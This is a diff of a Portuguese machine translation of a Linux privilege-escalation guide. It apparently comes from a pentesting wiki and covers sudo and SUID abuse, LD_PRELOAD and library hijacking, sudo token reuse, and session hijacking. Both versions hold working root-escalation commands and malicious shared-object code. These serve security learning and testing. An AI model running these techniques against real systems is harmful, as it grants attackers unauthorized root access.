políticas específicas. ```xml @@ -648,7 +650,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -Sempre é interessante enumerate a rede e descobrir a posição da máquina. +É sempre interessante enumerate a rede e descobrir a posição da máquina. ### Generic enumeration ```bash @@ -673,24 +675,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Portas abertas -Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: +Verifique sempre os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifique se você pode sniff o tráfego. Se conseguir, poderá obter algumas credenciais. +Verifique se você pode sniff traffic. Se conseguir, poderá obter algumas credentials. ``` timeout 1 tcpdump ``` -## Usuários +## Users -### Enumeração Genérica +### Generic Enumeration -Verifique **quem** você é, quais **privilégios** você possui, quais **usuários** existem nos sistemas, quais podem fazer **login** e quais têm **privilégios de root:** +Verifique **who** você é, quais **privileges** você tem, quais **users** estão no sistema, quais podem **login** e quais têm **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -712,14 +714,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### UID alto +### UID grande -Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** elevar privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** usando: **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que possa conceder privilégios de root: +Verifique se você é **membro de algum grupo** que possa lhe conceder privilégios de root: {{#ref}} @@ -745,18 +747,18 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **conhece qualquer senha** do ambiente **tente fazer login como cada usuário** usando essa senha. +Se você **souber alguma senha** do ambiente **tente fazer login como cada usuário** usando a senha. ### Su Brute -Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force em usuários. +Se não se importa em gerar muito ruído e os binários `su` e `timeout` estiverem presentes na máquina, você pode tentar brute-force usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force usuários. -## Abusos do PATH gravável +## Abusos do $PATH gravável ### $PATH -Se você descobrir que pode escrever em alguma pasta do $PATH, pode ser capaz de escalar privilégios criando um backdoor dentro da pasta gravável com o nome de algum comando que será executado por outro usuário (idealmente root) e que não seja carregado de uma pasta que esteja antes da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios ao **criar uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado a partir de uma pasta que esteja antes** da sua pasta gravável no $PATH. ### SUDO and SUID @@ -776,13 +778,13 @@ less>! ``` ### NOPASSWD -A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem conhecer a senha. +A configuração do Sudo pode permitir que um usuário execute um comando com os privilégios de outro usuário sem precisar conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma ssh key no diretório root ou chamando `sh`. +Neste exemplo o usuário `demo` pode executar `vim` como `root`; agora é trivial obter um shell adicionando uma chave ssh no diretório `root` ou chamando `sh`. ``` sudo vim -c '!sh' ``` @@ -794,18 +796,18 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: +Este exemplo, **baseado na HTB machine Admirer**, foi **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária enquanto executava o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV preservado via sudo env_keep → root shell +### BASH_ENV preserved via sudo env_keep → root shell -Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativa do Bash para executar código arbitrário como root ao invocar um comando permitido. +Se o sudoers preserva `BASH_ENV` (por exemplo, `Defaults env_keep+="ENV BASH_ENV"`), você pode aproveitar o comportamento de inicialização não interativo do Bash para executar código arbitrário como root ao invocar um comando permitido. -- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e executa o conteúdo desse arquivo antes de rodar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo será executado com privilégios de root. +- Por que funciona: Para shells não interativos, o Bash avalia `$BASH_ENV` e carrega esse arquivo antes de executar o script alvo. Muitas regras do sudo permitem executar um script ou um wrapper de shell. Se `BASH_ENV` for preservado pelo sudo, seu arquivo é carregado com privilégios de root. - Requisitos: -- Uma regra do sudo que você possa executar (qualquer alvo que invoque `/bin/bash` de forma não interativa, ou qualquer script bash). +- Uma regra do sudo que você possa executar (qualquer target que invoque `/bin/bash` de forma não interativa, ou qualquer bash script). - `BASH_ENV` presente em `env_keep` (verifique com `sudo -l`). - PoC: @@ -821,11 +823,11 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ - Endurecimento: - Remova `BASH_ENV` (e `ENV`) de `env_keep`, prefira `env_reset`. - Evite wrappers de shell para comandos permitidos pelo sudo; use binários mínimos. -- Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas são usadas. +- Considere registro de I/O do sudo e alertas quando variáveis de ambiente preservadas forem usadas. -### Caminhos que contornam a execução do sudo +### Caminhos para contornar a execução do sudo -**Jump** para ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\* +**Vá** ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -835,30 +837,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se um **wildcard** for usado (\*), fica ainda mais fácil: +Se um **wildcard** for usado (\*), é ainda mais fácil: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Comando sudo/SUID binary sem especificar o caminho do comando +### Sudo command/SUID binary sem caminho do comando -Se a **permissão do sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH +Se a **permissão sudo** é dada para um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-lo alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um **suid** binário **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**. +Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary with command path +### Binário SUID com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então você pode tentar **export a function** com o nome do comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que tentar criar a função e exportá-la: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -867,14 +869,14 @@ Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) que serão carregadas pelo carregador antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de bibliotecas. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente em executáveis **suid/sgid**, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: -- O carregador ignora **LD_PRELOAD** para executáveis onde o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). +- O loader ignora **LD_PRELOAD** para executáveis em que o ID de usuário real (_ruid_) não corresponde ao ID de usuário efetivo (_euid_). - Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -Privilege escalation pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando os comandos forem executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` @@ -896,7 +898,7 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** em execução +Finalmente, **escalate privileges** executando ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -927,9 +929,9 @@ Ao encontrar um binary com permissões **SUID** que pareça incomum, é uma boa ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial para exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial de exploração. -Para explorar isso, cria-se um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, procede-se criando um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -940,7 +942,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivos e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivo e executando um shell com privilégios elevados. Compile o arquivo C acima em um shared object (.so) com: ```bash @@ -958,7 +960,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um binário SUID que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: +Agora que encontramos um SUID binary que carrega uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -979,9 +981,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições locais de segurança. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você **só pode injetar argumentos** em um comando. -O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawn de bind e reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawnar bind e reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,50 +1002,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você conseguir acessar `sudo -l` você pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma maneira de explorar qualquer regra do sudo. +Se você conseguir acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra como explorar alguma regra do sudo. -### Reutilizando Tokens do Sudo +### Reusing Sudo Tokens -Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios por **esperar a execução de um comando sudo e então sequestrar o token de sessão**. +Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestar o token da sessão. Requisitos para escalar privilégios: -- Você já tem um shell como o usuário _sampleuser_ -- _sampleuser_ tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem inserir qualquer senha) -- `cat /proc/sys/kernel/yama/ptrace_scope` deve ser 0 -- `gdb` esteja acessível (você deve conseguir fazer upload dele) +- Você já tem um shell como o usuário "_sampleuser_" +- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem inserir qualquer senha) +- `cat /proc/sys/kernel/yama/ptrace_scope` é 0 +- `gdb` está acessível (você pode fazer upload dele) -(Você pode temporariamente habilitar `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o sudo token na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): +- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- O **segundo exploit** (`exploit_v2.sh`) criará um sh shell em _/tmp_ **de propriedade do root com setuid** +- O **segundo exploit** (`exploit_v2.sh`) criará um shell sh em _/tmp_ **de propriedade do root com setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um sudoers file** que torna os **sudo tokens** eternos e permite que **todos os usuários** usem **sudo** +- O **third exploit** (`exploit_v3.sh`) vai **criar um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **write permissions** na pasta ou em qualquer um dos arquivos criados dentro dela, pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **create a sudo token for a user and PID**.\ -Por exemplo, se você conseguir sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obtain sudo privileges** sem precisar saber a password executando: +Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro dela, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha, executando: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você conseguir **ler** este arquivo, poderá **obter algumas informações interessantes**, e se você conseguir **escrever** qualquer arquivo, será capaz de **escalar privilégios**. +**Se** você conseguir **ler** este arquivo, poderá **obter algumas informações interessantes**, e se você conseguir **escrever** em qualquer arquivo, será capaz de **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -1062,15 +1064,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas para o binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto do usuário, você pode **criar um novo executável sudo** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um **usuário geralmente conecta-se a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Observe que, se o usuário usa um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1087,16 +1089,16 @@ zsh echo $PATH sudo ls ``` -## Shared Library +## Biblioteca Compartilhada ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema vai procurar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ -Confira **como explorar essa má-configuração** na página a seguir: +Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada dentro dos arquivos em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalate privileges.\ +Dê uma olhada em **como explorar essa má configuração** na página a seguir: {{#ref}} @@ -1114,7 +1116,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa nesse local, conforme especificado na variável `RPATH`. +Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa neste local conforme especificado na variável `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1138,8 +1140,8 @@ execve(file,argv,0); ``` ## Capacidades -Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os **privilégios root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: +As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis a um processo**. Isso efetivamente divide os **privilégios do root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a seguinte página para **aprender mais sobre capacidades e como abusar delas**: {{#ref}} @@ -1148,14 +1150,14 @@ linux-capabilities.md ## Permissões de diretório -Em um diretório, o **bit para "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O **"read"** bit implica o usuário pode **list** os **files**, e o **"write"** bit implica o usuário pode **delete** e **create** novos **files**. +Em um diretório, o **bit de "execute"** implica que o usuário afetado pode "cd" para dentro da pasta.\ +O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **deletar** e **criar** novos **arquivos**. ## ACLs -Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões aprimoram o controle de acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Conceda** ao usuário "kali" permissões read e write sobre um arquivo: +**Dar** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1166,10 +1168,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir shell sessions +## Sessões de shell abertas -Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ -Em **versões mais recentes** você só poderá **connect** a screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. +Em **versões antigas** você pode **hijack** alguma sessão de **shell** de outro usuário (**root**).\ +Nas **versões mais recentes** você só poderá **conectar-se** a screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking @@ -1188,7 +1190,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isso foi um problema com **versões antigas do tmux**. Não consegui realizar um hijack em uma sessão do tmux (v2.1) criada pelo root enquanto usuário sem privilégios. +Isso era um problema com **versões antigas do tmux**. Não consegui hijack a sessão do tmux (v2.1) criada por root quando executando como non-privileged user. **Listar sessões do tmux** ```bash @@ -1208,53 +1210,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Confira **Valentine box from HTB** para um exemplo. +Check **Valentine box do HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug é causado ao criar uma nova ssh key nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a ssh public key você pode procurar pela private key correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. -- **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com strings de senha vazias. O padrão é `no`. +- **PasswordAuthentication:** Especifica se password authentication é permitida. O padrão é `no`. +- **PubkeyAuthentication:** Especifica se public key authentication é permitida. O padrão é `yes`. +- **PermitEmptyPasswords**: Quando password authentication está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. ### PermitRootLogin -Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se root pode fazer login via ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode efetuar login usando password e private key -- `without-password` or `prohibit-password`: root só pode fazer login com uma private key -- `forced-commands-only`: root pode logar apenas usando private key e se as opções de commands forem especificadas +- `yes`: root pode fazer login usando password e private key +- `without-password` or `prohibit-password`: root só pode fazer login com private key +- `forced-commands-only`: Root pode fazer login apenas usando private key e se as opções de comandos estiverem especificadas - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos ao diretório home do usuário**. Por exemplo: +Especifica os arquivos que contêm os public keys que podem ser usados para user authentication. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração vai indicar que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua key com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indicará que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** o **key** localizado no seu **initial host**. +SSH agent forwarding permite que você **use suas SSH keys locais em vez de deixar keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial 